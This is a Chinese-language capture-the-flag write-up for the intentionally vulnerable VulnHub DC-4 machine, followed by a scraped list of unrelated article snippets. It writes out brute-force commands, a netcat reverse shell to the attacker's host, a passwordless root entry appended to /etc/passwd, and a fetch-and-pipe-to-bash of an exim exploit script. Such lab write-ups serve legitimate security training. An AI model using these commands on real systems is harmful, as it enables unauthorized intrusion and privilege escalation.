DC-4靶机刷题记录
靶机下载地址:
链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwd=n6nx
提取码:n6nx
参考:
- 【【基础向】超详解vulnhub靶场DC-4-爆破+反弹shell+信息收集】 https://www.bilibili.com/video/BV1Le4y1o7Sx/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- http://t.csdnimg.cn/BOGVr
- http://t.csdnimg.cn/tRrgh
- DC-4 (1).pdf
- https://c3ting.com/archives/vulnhnbshua-ti-dc-4
- https://www.vulnhub.com/entry/dc-4,313/
- ChatGPT
描述:
DESCRIPTION 说明
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-4是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
与之前的DC版本不同,这一版本主要是为初学者/中级用户设计的。只有一面旗帜,但从技术上讲,有多个入口点,就像上次一样,没有任何线索。Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.
1、导入VMware虚拟机
下载完成后,得到DC-4.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
一.信息收集
基础信息查询
0x01 查看存活主机
arp-scan -l #二层主机扫描,主动发送ARP包进行嗅探
0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。
目录扫描
dirb http://192.168.1.132 /usr/share/dirb/wordlists/big.txt
没什么目录信息可用
0x04 服务器信息查询,CMS查询
页面信息探测
爆破用户密码
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
然后选择Cluster bomb
集束炸弹模式
payload1设置为admin
payload2设置为一个密码字典,可以上网查Top1000弱口令字典放进去常见的弱口令字典1000~一石三鸟-CSDN博客
开始攻击,密码为happy
登录成功
这里有几个命令
我们可以通过抓包来进行修改它要执行的命令
发现任意命令执行漏洞
改为 id 发现可以成功执行
那么我们可以来进行反弹shell
反弹shell
先在kali上监听8888端口
nc -lvvnp 8888
nc -lvvnp 8888命令是使用netcat工具来监听网络连接并侦听指定的端口。
- -l选项表示netcat将进入监听模式。
- -v选项用于显示详细的调试信息。
- -n选项用于禁止DNS解析,以避免延迟。
- -p选项后跟要监听的端口号。
执行该命令后,netcat会开始在指定的端口上进行监听,并显示从客户端发送过来的连接和相关信息。
listening on [any] 8888 ...
您可以使用这个命令来创建一个简单的反向shell或测试网络连接等。
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.1.128 8888
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
提权
在home目录下发现三个用户
- charles
- jim
- sam
在/home/jim/backups目录下发现一个旧密码本
复制出来保存为1.txt
有用户名了,使用工具爆破密码:
使用hydra工具:
Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。
以下是 Hydra 的基本用法示例:
hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>
其中:
- <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
- <密码列表文件>:包含要尝试的密码的文件路径。
- <目标IP地址>:要破解的目标主机的 IP 地址。
- <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
- <端口号>:目标服务的端口号,默认为协议的默认端口号。
- <线程数>:用于并发尝试的线程数,默认为 16。
要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
对 jim 的账号进行破解
hydra -l jim -P 1.txt 192.168.1.132 ssh
获得密码jibril04
那么接下来进行 ssh 登录 jim 的账号
登录成功
提示你有一封邮件
是root发来的
用 find 命令查找 mail
find / -name *mail* # 这条命令表示从根目录开始,查到前和后带有mail的目录
发现了/var/mail
目录,进去看看
Charles要去度假,所以把密码发给了jim
那我们尝试登录Charles的账号,成功登录
sudo -l
命令用于列出当前用户可以以超级用户权限运行的命令。
发现teehee命令
它是一个自定义的命令,那我们执行看看
teehee --help
-a参数 说可以不覆盖文件的形式追加内容
在文末添加,但是不是覆盖文件(teehee运行时有root权限,则可以由此修改passwd文件)
添加新用户到/etc/passwd中
参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
##建议手打命令,复制粘贴可能不管用
对于admin::0:0:::/bin/bash的解释
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
我们创建了一个admin用户,没有设置密码
添加成功之后就切换为admin用户
在root目录下发现flag文件
flag
方法二:
SUID
其中 exim4 可以提权
该命令用于在整个文件系统中搜索具有设置了 setuid 位的可执行文件,并将结果输出。
- find 是一个用于在指定路径下搜索文件和目录的命令。
- / 表示从根目录开始搜索,也就是整个文件系统。
- -perm -4000 表示查找具有设置了 setuid 位(权限为 4000)的文件。setuid 位允许普通用户以拥有者的权限来执行该文件。
- -print 选项用于打印找到的文件的完整路径。
- 2>/dev/null 将错误输出重定向到 /dev/null,这样可以屏蔽一些不必要的错误信息。
当命令执行完成后,它将返回所有具有设置了 setuid 位的可执行文件的完整路径列表。
find / -perm -4000 2>/dev/nullfind / -perm -4000 -print 2>/dev/null
exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
先看一下 exim的版本
exim4 --version
确定版本,接着查找漏洞
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
把这个脚本复制出来
使用python打开http服务 映射本地文件 python -m http.server
python -m http.server 是一个用于启动简单的HTTP服务器的命令。
执行该命令后,它将在当前目录下启动一个基于Python的HTTP服务器,默认监听端口为8000。这个HTTP服务器可以被用于快速共享文件、浏览静态网页或进行简单的文件传输等任务。
示例输出可能如下所示:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
此时,您可以通过浏览器或其他HTTP客户端访问 http://localhost:8000 来浏览当前目录中的文件。如果希望使用不同的端口号,可以在命令中使用 -p 参数指定,例如 python -m http.server 8080 将使用8080端口。
请注意,这个简单的HTTP服务器通常用于开发和调试目的,并不适合在生产环境中使用。对于公开访问的网络服务,请考虑使用更安全和功能丰富的HTTP服务器软件。
出现这个页面就说明开启HTTP服务成功了
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载并开启bash终端
wget http://192.168.1.128:8000/46996.sh | bash
然后给46996.sh权限 并且运行这个脚本
chmod +x ./46996.sh
点(.)在Linux中表示运行,./ 表示当前目录,紧接着是要运行的脚本文件名
./46996.sh
总结
1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。
4、此靶机考察了对hydra的掌握以及对命令执行漏洞的利用,考虑到nc 的提权方式(正反提权)考察对用户操作的了解
完毕!
相关文章:

DC-4靶机刷题记录
靶机下载地址: 链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwdn6nx 提取码:n6nx 参考: 【【基础向】超详解vulnhub靶场DC-4-爆破反弹shell信息收集】 https://www.bilibili.com/video/BV1Le4y1o7Sx/?share_sourc…...
【前端学习笔记1】css基础
css可以使页面更漂亮,即美化网页 css:层叠样式表 标签选择器: 类选择器: id只能单次调用,类似人的身份证 css里只要是word里面有的功能,他们都有对应的,不会的时候查一下就行 实现垂直居中:h…...

CVE-2023-46226 Apache iotdb远程代码执行漏洞
项目介绍 Apache IoTDB 是针对时间序列数据收集、存储与分析一体化的数据管理引擎。它具有体量轻、性能高、易使用的特点,完美对接 Hadoop 与 Spark 生态,适用于工业物联网应用中海量时间序列数据高速写入和复杂分析查询的需求。 项目地址 https://io…...

Redis实战之-分布式锁
一、基本原理和实现方式对比 分布式锁:满足分布式系统或集群模式下多进程可见并且互斥的锁。 分布式锁的核心思想就是让大家都使用同一把锁,只要大家使用的是同一把锁,那么我们就能锁住线程,不让线程进行,让程序串行…...
Cookie同源策略
同源策略(Same-Origin Policy)是浏览器安全机制的一部分,用于限制一个源(域名、协议和端口的组合)的文档或脚本如何与来自另一个源的资源进行交互。这个策略帮助防止潜在的恶意网站在用户浏览器中执行恶意操作。 关于C…...
6、Numpy形状操纵
目录 1. 使用 reshape 改变形状 2. 使用 resize 改变大小和形状 3. 使用 ravel 或 flatten 展平数组 4. 使用 -1 推断尺寸 5. 使用 newaxis 增加维度 6. 使用 squeeze 移除单维度条目 1. 使用 reshape 改变形状 对于任何 NumPy 数组,你可以使用 reshape 方法来…...

C++初阶类与对象(二):详解构造函数和析构函数
上次为类与对象开了一个头:C初阶类与对象(一):学习类与对象、访问限定符、封装、this指针 今天就来更进一步 文章目录 1.类的6个默认成员函数2.构造函数2.1引入和概念2.2构造函数特性2.2.1特性1~42.2.2注意2.2.3特性5~72.2.4注意 …...

【Vue3】3-3 : 组件之间是如何进行互相通信的
本书目录:点击进入 一、组件之间为什么要做通信 二、组件之间通信方式 2.1、父传子:由传递属性实现 stage 1:申明 (即定义) stage 2:注册 stage 3:使用 【示例】:父组件将 tit…...

网络端口映射和端口转发的区别和联系
目 录 一、端口映射技术 1.1 原理 1.2 应用场景 1、远程访问 2、游戏主机 3、文件共享 4、监控视频共享 二、端口转发技术 2.1 原理 2.2 应用场景 1、网络负载均衡 2、网络安全 3、网络代理 三、端口映射和转发的实现方法 3.1 路由器配置 3.2 网络防火墙 …...

VLSI超大规模集成电路设计复习
目录 VLSI超大规模集成电路设计复习引论MOS原理延时组合逻辑时序电路SRAM 总结(一张纸)参考资料 VLSI超大规模集成电路设计复习 复习可参照官网PPT上的知识点,然后根据知识点对应的去看书上的讲解。 引论 摩尔定律 尺寸缩小定律 N、P型半…...

GCC 内联汇编
LINUX下的汇编入门 AT&T风格 汇编 和GCC风格汇编 汇编代码的调试 前面写了三篇,是自我摸索三篇,摸着石头过河,有些或许是错误的细节,不必在意! 今天我们直接用GCC编译C语言代码,且在C语言里面内嵌AT&T风格的汇编! 前三篇大家了解即可,我们重点放在内嵌汇编里,简单快…...

springboot整合websocket后启动报错:javax.websocket.server.ServerContainer not available
一、场景 Springboot使用ServerEndpoint来建立websocket链接。引入依赖。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId> </dependency>配置Websocket Confi…...
Vue面试之生命周期(上篇)
Vue面试之生命周期(上篇) 创建阶段beforeCreatecreated挂载阶段beforeMountmounted更新阶段beforeUpdateupdated销毁阶段beforeDestroydestroyed补充说明activated...

Gin 框架之用户密码加密
文章目录 一、引入二、密码加密位置三、如何加密四、bcrypt 库加密4.1 介绍4.2 优点:4.3 使用 五、小黄书密码加密实践 一、引入 Gin是一个用Go语言编写的Web框架,而用户密码的加密通常是在应用程序中处理用户身份验证时的一个重要问题。 通常敏感信息…...

【创作活动】ChatGPT 和文心一言哪个更好用?
文章目录 文心一言优点缺点 ChatGPT优点缺点 Java编码能力比较对人工智能的看法 ChatGPT是由OpenAI开发的交互式AI大模型, 文心一言是由百度研发的知识增强大语言模型,本文从Java开发的角度对比一下哪个更好用(本文仅用于投稿CSDN创造活动&am…...

【linux】查看Debian应用程序图标对应的可执行命令
在Debian系统中,应用程序图标通常与.desktop文件关联。您可以通过查看.desktop文件来找到对应的可执行命令。这些文件通常位于/usr/share/applications/或~/.local/share/applications/目录下。这里是如何查找的步骤: 1. 打开文件管理器或终端。 2. 导…...

TortoiseSVN客户端如何安装配置并实现公网访问服务端提交文件到本地服务器
文章目录 前言1. TortoiseSVN 客户端下载安装2. 创建检出文件夹3. 创建与提交文件4. 公网访问测试 前言 TortoiseSVN是一个开源的版本控制系统,它与Apache Subversion(SVN)集成在一起,提供了一个用户友好的界面,方便用…...
【AUTOSAR】RTE 接口类型、应用场景差别及实例讲解
目录 摘要 概念 CS接口 SR接口 接口选择 对于CPU负载率的影响...

Qt应用开发(安卓篇)——Hello Qt On Android
一、前言 这一篇从实际出发,讲述如何创建、编译和部署Qt On Android项目。 二、ADB调试 ADB的全称为Android Debug Bridge,就是起到调试桥的作用,主要用于连接计算机与Android 设备,以便进行调试和数据传输。ADB 可以实现以下主要…...
第十三讲_css 伸缩盒模型flex
css 伸缩盒模型flex 1. 伸缩盒模型介绍2. 伸缩盒模型的主轴方向3. 伸缩盒模型的主轴换行4. 主轴上的对齐方式5. 侧轴上对齐方式5.1 一行的侧轴上对齐方式5.2 多行的侧轴上对齐方式 6. 伸缩项目的伸缩性6.1 伸缩项目在主轴上的基准长度6.2 伸缩项目的放大6.3 伸缩项目的缩小 7. …...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
IP如何挑?2025年海外专线IP如何购买?
你花了时间和预算买了IP,结果IP质量不佳,项目效率低下不说,还可能带来莫名的网络问题,是不是太闹心了?尤其是在面对海外专线IP时,到底怎么才能买到适合自己的呢?所以,挑IP绝对是个技…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...
人工智能--安全大模型训练计划:基于Fine-tuning + LLM Agent
安全大模型训练计划:基于Fine-tuning LLM Agent 1. 构建高质量安全数据集 目标:为安全大模型创建高质量、去偏、符合伦理的训练数据集,涵盖安全相关任务(如有害内容检测、隐私保护、道德推理等)。 1.1 数据收集 描…...
【深尚想】TPS54618CQRTERQ1汽车级同步降压转换器电源芯片全面解析
1. 元器件定义与技术特点 TPS54618CQRTERQ1 是德州仪器(TI)推出的一款 汽车级同步降压转换器(DC-DC开关稳压器),属于高性能电源管理芯片。核心特性包括: 输入电压范围:2.95V–6V,输…...

VSCode 使用CMake 构建 Qt 5 窗口程序
首先,目录结构如下图: 运行效果: cmake -B build cmake --build build 运行: windeployqt.exe F:\testQt5\build\Debug\app.exe main.cpp #include "mainwindow.h"#include <QAppli...
基于Uniapp的HarmonyOS 5.0体育应用开发攻略
一、技术架构设计 1.混合开发框架选型 (1)使用Uniapp 3.8版本支持ArkTS编译 (2)通过uni-harmony插件调用原生能力 (3)分层架构设计: graph TDA[UI层] -->|Vue语法| B(Uniapp框架)B --&g…...